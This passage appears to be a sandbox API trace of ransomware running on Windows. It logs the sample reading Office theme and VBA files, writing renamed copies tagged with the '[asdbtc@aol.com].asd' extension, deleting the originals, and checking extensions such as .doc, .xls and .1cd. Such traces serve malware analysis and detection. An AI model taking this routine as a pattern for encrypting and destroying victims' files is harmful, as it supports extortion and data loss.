(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0055.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.938] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.938] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.940] GetLastError () returned 0x0 [0055.940] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0055.941] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0055.942] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.942] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.943] SetEndOfFile (hFile=0x1f4) returned 1 [0055.943] CloseHandle (hObject=0x1f4) returned 1 [0055.943] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.943] SetEndOfFile (hFile=0x204) returned 1 [0055.944] CloseHandle (hObject=0x204) returned 1 [0055.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0055.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.944] lstrlenW (lpString=".doc") returned 4 [0055.944] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.944] lstrlenW (lpString=".docx") returned 5 [0055.944] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.944] lstrlenW (lpString=".pdf") returned 4 [0055.944] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.944] lstrlenW (lpString=".xls") returned 4 [0055.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.945] lstrlenW (lpString=".xlsx") returned 5 [0055.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.945] lstrlenW (lpString=".ppt") returned 4 [0055.945] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString=".zip") returned 4 [0055.945] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.945] lstrlenW (lpString=".rar") returned 4 [0055.945] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.945] lstrlenW (lpString=".bz2") returned 4 [0055.945] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.945] lstrlenW (lpString=".7z") returned 3 [0055.945] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString=".dbf") returned 4 [0055.945] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString=".1cd") returned 4 [0055.945] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString=".jpg") returned 4 [0055.945] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.945] lstrlenW (lpString=".doc") returned 4 [0055.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.945] lstrlenW (lpString=".docx") returned 5 [0055.945] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.945] lstrlenW (lpString=".pdf") returned 4 [0055.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.946] lstrlenW (lpString=".xls") returned 4 [0055.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.946] lstrlenW (lpString=".xlsx") returned 5 [0055.946] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.946] lstrlenW (lpString=".ppt") returned 4 [0055.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.946] lstrlenW (lpString=".zip") returned 4 [0055.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.946] lstrlenW (lpString=".rar") returned 4 [0055.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.946] lstrlenW (lpString=".bz2") returned 4 [0055.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.946] lstrlenW (lpString=".7z") returned 3 [0055.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.946] lstrlenW (lpString=".dbf") returned 4 [0055.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.946] lstrlenW (lpString=".1cd") returned 4 [0055.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.946] lstrlenW (lpString=".jpg") returned 4 [0055.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.946] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.946] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.947] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=33479) returned 1 [0055.947] CloseHandle (hObject=0x204) returned 1 [0055.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0055.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.947] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.947] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.948] GetLastError () returned 0x0 [0055.948] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0055.950] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0055.952] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.952] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.952] SetEndOfFile (hFile=0x1f4) returned 1 [0055.952] CloseHandle (hObject=0x1f4) returned 1 [0055.952] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.952] SetEndOfFile (hFile=0x204) returned 1 [0055.953] CloseHandle (hObject=0x204) returned 1 [0055.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.953] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.954] lstrlenW (lpString=".doc") returned 4 [0055.954] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.954] lstrlenW (lpString=".docx") returned 5 [0055.954] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.954] lstrlenW (lpString=".pdf") returned 4 [0055.954] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.954] lstrlenW (lpString=".xls") returned 4 [0055.954] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.954] lstrlenW (lpString=".xlsx") returned 5 [0055.954] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.954] lstrlenW (lpString=".ppt") returned 4 [0055.954] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.954] lstrlenW (lpString=".zip") returned 4 [0055.954] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.954] lstrlenW (lpString=".rar") returned 4 [0055.954] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.954] lstrlenW (lpString=".bz2") returned 4 [0055.954] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.954] lstrlenW (lpString=".7z") returned 3 [0055.954] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString=".dbf") returned 4 [0055.955] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString=".1cd") returned 4 [0055.955] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString=".jpg") returned 4 [0055.955] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString=".doc") returned 4 [0055.955] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.955] lstrlenW (lpString=".docx") returned 5 [0055.955] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.955] lstrlenW (lpString=".pdf") returned 4 [0055.955] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.955] lstrlenW (lpString=".xls") returned 4 [0055.955] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.955] lstrlenW (lpString=".xlsx") returned 5 [0055.955] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.955] lstrlenW (lpString=".ppt") returned 4 [0055.955] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.955] lstrlenW (lpString=".zip") returned 4 [0055.955] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.955] lstrlenW (lpString=".rar") returned 4 [0055.955] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.955] lstrlenW (lpString=".bz2") returned 4 [0055.956] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.956] lstrlenW (lpString=".7z") returned 3 [0055.956] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.956] lstrlenW (lpString=".dbf") returned 4 [0055.956] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.956] lstrlenW (lpString=".1cd") returned 4 [0055.956] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0055.956] lstrlenW (lpString=".jpg") returned 4 [0055.956] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.956] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.956] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.957] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1675) returned 1 [0055.957] CloseHandle (hObject=0x204) returned 1 [0055.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0055.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.957] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.957] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.677] GetLastError () returned 0x0 [0056.677] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x68b, lpOverlapped=0x0) returned 1 [0056.688] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x690, lpOverlapped=0x0) returned 1 [0056.690] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.690] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.690] SetEndOfFile (hFile=0x1e4) returned 1 [0056.690] CloseHandle (hObject=0x1e4) returned 1 [0056.690] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.690] SetEndOfFile (hFile=0x204) returned 1 [0056.691] CloseHandle (hObject=0x204) returned 1 [0056.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.691] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0056.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString=".doc") returned 4 [0056.692] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.692] lstrlenW (lpString=".docx") returned 5 [0056.692] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.692] lstrlenW (lpString=".pdf") returned 4 [0056.692] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString=".xls") returned 4 [0056.692] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString=".xlsx") returned 5 [0056.692] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.692] lstrlenW (lpString=".ppt") returned 4 [0056.692] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString=".zip") returned 4 [0056.692] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString=".rar") returned 4 [0056.692] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString=".bz2") returned 4 [0056.692] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.692] lstrlenW (lpString=".7z") returned 3 [0056.692] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString=".dbf") returned 4 [0056.692] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString=".1cd") returned 4 [0056.692] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString=".jpg") returned 4 [0056.692] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.693] lstrlenW (lpString=".doc") returned 4 [0056.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.693] lstrlenW (lpString=".docx") returned 5 [0056.693] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.693] lstrlenW (lpString=".pdf") returned 4 [0056.693] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.693] lstrlenW (lpString=".xls") returned 4 [0056.693] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.693] lstrlenW (lpString=".xlsx") returned 5 [0056.693] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.693] lstrlenW (lpString=".ppt") returned 4 [0056.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.693] lstrlenW (lpString=".zip") returned 4 [0056.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.693] lstrlenW (lpString=".rar") returned 4 [0056.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.693] lstrlenW (lpString=".bz2") returned 4 [0056.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.693] lstrlenW (lpString=".7z") returned 3 [0056.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.693] lstrlenW (lpString=".dbf") returned 4 [0056.693] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.693] lstrlenW (lpString=".1cd") returned 4 [0056.693] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0056.693] lstrlenW (lpString=".jpg") returned 4 [0056.693] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.694] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0056.694] lstrlenW (lpString="FM20.CHM") returned 8 [0056.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.695] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=334427) returned 1 [0056.695] CloseHandle (hObject=0x204) returned 1 [0056.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 